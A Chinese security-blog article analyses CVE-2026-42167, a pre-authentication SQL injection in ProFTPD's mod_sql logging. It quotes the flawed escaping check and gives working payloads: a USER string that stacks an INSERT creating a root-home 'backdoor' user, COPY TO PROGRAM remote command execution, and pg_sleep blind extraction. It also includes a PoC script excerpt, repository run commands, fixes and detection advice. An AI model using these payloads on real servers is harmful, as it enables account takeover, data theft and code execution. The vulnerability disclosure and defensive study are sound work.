FTP一条USER拿整个文件系统"

admin 2026-10-16 04:57:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

FTP一条USER拿整个文件系统

原创

Red Hunter
Red Hunter

黑白之道

2026年10月5日 09:12
韩国

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

导语:ZeroPath Research 近日披露 ProFTPD(专业的 FTP 服务器程序) mod\_sql 日志管线里的\"已转义\"启发式缺陷——编号 CVE-2026-42167,CVSS(通用漏洞评分系统) 8.1。攻击者只需发一个 USER 命令,连密码都不用输,就能在 SQL 日志 INSERT 里堆叠任意语句。Shodan 上能看到的 16 万公开实例里,估算至少 1% 是预认证可打的。本文拆这条链,附官方 PoC(概念验证代码)。


一、漏洞一句话

ProFTPD 1.3.9 及以下 + 启用了 mod\_sql 日志 + 日志语句用 %U/%f 这类攻击者可控变量 → 预认证 SQL 注入。

修复版本:1.3.9a(commit af90843baf7dcb8c6be1e5261be2d0b5b5850673)。

二、根因:is\_escaped\_text() 这个\"自欺欺人\"的判定

漏洞点在 contrib/mod_sql.c 的两段紧挨着的代码里。

第一段是判定函数,逻辑就是\"看起来像已转义的字符串就跳过转义\":

static int is_escaped_text(const char *text, size_t text_len) {
    if (text[0] != '\\'')            return FALSE;
    if (text[text_len-1] != '\\'')   return FALSE;
    for (i = 1; i < text_len-1; i++)
        if (text[i] == '\\'')        return FALSE;
    return TRUE;
}

第二段是写入处——is_escaped_text() 返回 TRUE 就完全跳过 sql_escapestring():

if (is_escaped_text(text, text_len) == FALSE) {
    /* 这里才会做真正的 SQL 转义 */
} else {
    pr_trace_msg(trace_channel, 17,
        \"text '%s' is already escaped, skipping escaping it again\", text);
    new_text = (char *)text;   // ← 原样送进 query
    new_textlen = text_len;
}

作者本意是处理\"上游已经把值拼成 'foo' 这种形式\"的场景,但攻击者只需要自己把值也写成 'xxx' 的形式就能 100% 绕过——这是个纯语法层、可被攻击者伪造的判定。

三、攻击链:FTP USER 名 → SQL INSERT

ProFTPD 默认的 mod\_sql 日志配置长这样:

SQLNamedQuery log_activity INSERT \"'%U', '%r', '%m'\" activity_log
SQLLog        *           log_activity
SQLLog        ERR_*       log_activity

%U 是\"原始 USER 名\",认证前就设好了;%r 是完整 FTP 命令;%m 是 FTP 动词。SQLLog ERR_* 的意思是\"失败命令触发\"——意味着用户登录失败都会触发一次 INSERT。

攻击者只要发:

USER ' || (SELECT 1) ||'

替换进去,原语句变成:

INSERT '' || (SELECT 1) || '', '<完整命令>', '<动词>'  INTO activity_log

——也就是\"插一个空串拼上子查询拼上空串\"。判定函数看到首尾是单引号、中间没有单引号,直接放行。

更狠的玩法是堆叠(PostgreSQL/SQLite 支持 ; 分隔的 SQL 语句,MySQL 默认不行):

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --'

美元符 ` 是 PostgreSQL 的美元符引用语法,避免 payload 内部出现单引号。注入后,攻击者直接以backdoor / pwned123登录,拿到uid=0、homedir=/` 的 FTP 访问权——\\等于直接拥有整个文件系统\\。

四、实际危害:RCE / 认证绕过 / 凭据提取 / 配额逃逸

ZeroPath 把利用分四个场景,前两个杀伤力最大:

场景 触发条件 影响
认证绕过 + 提权 mod\_sql 启用了 SQLAuthenticate users 堆叠 INSERT 后门用户,登录即得全盘
RCE(PostgreSQL 主机) ProFTPD 用 PG 超级用户连库 COPY (SELECT 1) TO PROGRAM 'cmd' 在 DB 主机执行任意命令
凭据盲注 任意能注入的部署 用 pg_sleep() 做时序盲注(一种通过响应延迟逐字符提取数据的攻击手法),把 users 表里明文/哈希密码全抽走
配额逃逸 启用了 mod_quotatab_sql 直接 UPDATE(修改)配额表绕过限制

RCE 的原理是 PostgreSQL 的 COPY TO PROGRAM:把子查询结果交给 shell 命令处理。ZeroPath 在 PoC 里就演示了这一招——PostgreSQL 主机被 ProFTPD DB 角色跑成什么用户,攻击者就拿到什么 shell。

五、PoC:5 个脚本,覆盖预认证/认证后/盲注三种路径

官方 PoC 仓库在 github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc,全部用 Python 标准库,没有第三方依赖:

文件 触发变量 危害 所需权限
pocs/preauth_user_backdoor.py %U (USER 命令) 植入后门用户 仅网络可达
pocs/preauth_user_rce.py %U PG 主机 RCE 仅网络可达 + PG 超级用户
pocs/postauth_stor_backdoor.py %{basename} (STOR 文件名) 植入后门用户 任意 FTP 账号(匿名通杀)
pocs/postauth_stor_rce.py %{basename} PG 主机 RCE 任意 FTP 账号 + PG 超级用户
pocs/postgres_blind_dump.py %U 盲注抽 users 表 仅网络可达 + 最小 INSERT 权限

预认证后门注入的核心代码就这一段(精简自 preauth_user_backdoor.py):

payload = (
    \"', null, null); \"
    \"INSERT INTO users VALUES(\"
    \"$$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$\"
    \"); --'\"
)
# 验证 payload 满足 is_escaped_text() 的判定(首尾单引号、内部无单引号)
assert payload[0] == \"'\"and payload[-1] == \"'\"and\"'\"notin payload[1:-1]

# 发送 USER 命令触发注入;登录肯定失败(密码是乱填的),但 ERR_* 日志会先命中
ftp_cmd(host, port, [f\"USER {payload}\", \"PASS x\", \"QUIT\"])

# 等日志 INSERT 落库后,用植入的用户名+密码正式登录
ftp_cmd(host, port, [\"USER backdoor\", \"PASS pwned123\", \"PWD\", \"QUIT\"])
# 成功的话 PWD 返回 \"/\",说明 homedir 是根目录

完整跑法:

git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
cd proftpd-CVE-2026-42167-poc
cd setup
./setup.sh      # 自动起 Docker(ProFTPD + PostgreSQL + 种子数据)
# 跟着脚本打印的提示跑 PoC
uv run --no-project ../pocs/preauth_user_backdoor.py --host 127.0.0.1 --port 2121

setup.sh 会把 ProFTPD 源码拉到本地、用 --with-modules=mod_sql:mod_sql_postgres 编译,再起容器——第一次跑要 2-3 分钟,之后直接秒级复用。

六、修复与缓解

  • 必须升级:1.3.9a(commit af90843baf7dcb8c6be1e5261be2d0b5b5850673)。
  • 临时缓解:关掉 mod_sql 日志(SQLLog 全部注释)。
  • 检测:盯着 ProFTPD 日志里 SQL INSERT 失败/异常的请求;监控 PostgreSQL 的 COPY TO PROGRAM 调用。
  • 审计:所有 mod_sql 依赖的功能(认证、配额、ban 名单)都默认已被污染,复查数据库内容。

七、给红队/蓝队的几点启示

  1. \"已转义\"启发式是反模式。任何\"看起来像 X 就跳过 X\"的优化,都会被攻击者伪造。安全判定只能基于真实可信源,而不是值的形状。
  2. 配置依赖型漏洞最难找。这条链要 mod\_sql 启用 + 日志启用 + 特定变量组合才会触发,静态分析器很容易漏;ZeroPath 用了 LLM 辅助才把\"语义层的意图错误\"挖出来。
  3. %U 是认证前的关键 sink(数据汇聚点)。所有 FTP 服务里这种\"认证前就解析的输入\"都要审计——不只是 ProFTPD,vsftpd、FileZilla Server、Pure-FTPd 都得过一遍。
  4. PoC 用美元符引用避免 payload 内单引号。这是 PostgreSQL payload 的标准技巧,写注入工具的时候直接抄。

官方 PoC 仓库:github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc(5 个 Python 脚本 + Docker 一键环境)

技术原文:ZeroPath Research · CVE-2026-42167 Allows Auth Bypass And RCE In ProFTPD

补丁 commit:af90843

CVE 详情:CVE-2026-42167


👇 点击阅读原文,访问我的网站



FTP一条USER拿整个文件系统" 网络安全文章

FTP一条USER拿整个文件系统"

本文披露ProFTPD1.3.9及以下版本mod_sql日志管线中的预认证SQL注入漏洞CVE-2026-42167,CVSS8.1。攻击者仅需发送USER命令即可在SQL日志INSERT中堆叠任意语句,可实现认证绕过、RCE、凭据提取及配额逃逸。文章详述根因、攻击链、PoC及修复方案,建议升级至1.3.9a或临时关闭mod_sql日志,并审计相关数据库内容。
WebSocket协议漏洞01:握手流程与八大致命风险" 网络安全文章

WebSocket协议漏洞01:握手流程与八大致命风险"

本文系统梳理WebSocket协议基础,对比ws与wss安全性差异,详解握手流程与帧类型,并重点列出八大致命风险,包括拒绝服务、明文通信、访问控制缺失、输入校验缺失、认证不当、隧道滥用、CSWSH劫持及服务端OOB问题,为渗透测试提供可操作的风险排查方向。
汽车安全入门03:ECU与UDS诊断服务" 网络安全文章

汽车安全入门03:ECU与UDS诊断服务"

本文系统介绍汽车ECU与UDS诊断协议栈,涵盖ECU域分布、ISO14229标准、十大核心服务、负响应码、ISO-TP多帧传输、Seed-Key安全访问机制,并介绍UDSim与UnlockECU等开源工具,最后从红队视角梳理常见攻击面,为车联网安全测试提供入门指导。
数据安全风险评估系统已可部署到测评师本地,部署使用说明见正文" 网络安全文章

数据安全风险评估系统已可部署到测评师本地,部署使用说明见正文"

本文介绍一款数据安全风险评估系统的部署使用说明,覆盖通用、网信、工业、电信四大领域评估模块,支持全流程线上化管理并一键生成评估报告。系统采用USB授权Key强制校验,单机部署免安装,支持局域网访问。文档详细说明了运行环境、部署步骤、日常使用流程及升级注意事项,建议用户按指引操作并定期备份数据。
评论:0   参与:  0